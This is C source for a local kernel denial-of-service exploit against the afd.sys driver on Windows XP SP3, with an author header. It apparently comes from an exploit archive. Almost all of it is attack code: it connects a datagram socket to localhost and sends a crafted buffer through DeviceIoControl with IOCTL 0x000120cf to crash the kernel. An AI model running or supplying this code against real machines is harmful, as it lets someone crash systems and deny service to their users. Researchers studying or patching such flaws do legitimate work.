Microsoft Windows XP - 'afd.sys' Local Kernel Denial of Service

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <Winsock2.h>

#pragma comment (lib, "ws2_32.lib")

BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};

int main( )
{
    WSADATA ws;

    SOCKET tcp_socket;
    struct sockaddr_in peer;
	ULONG  dwReturnSize;

	printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
	printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");

    WSAStartup(0x0202,&ws);

    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

    tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM

	if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
    {
		printf("connect error\n");
        exit(0);
    }

	DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
	
    return TRUE;
}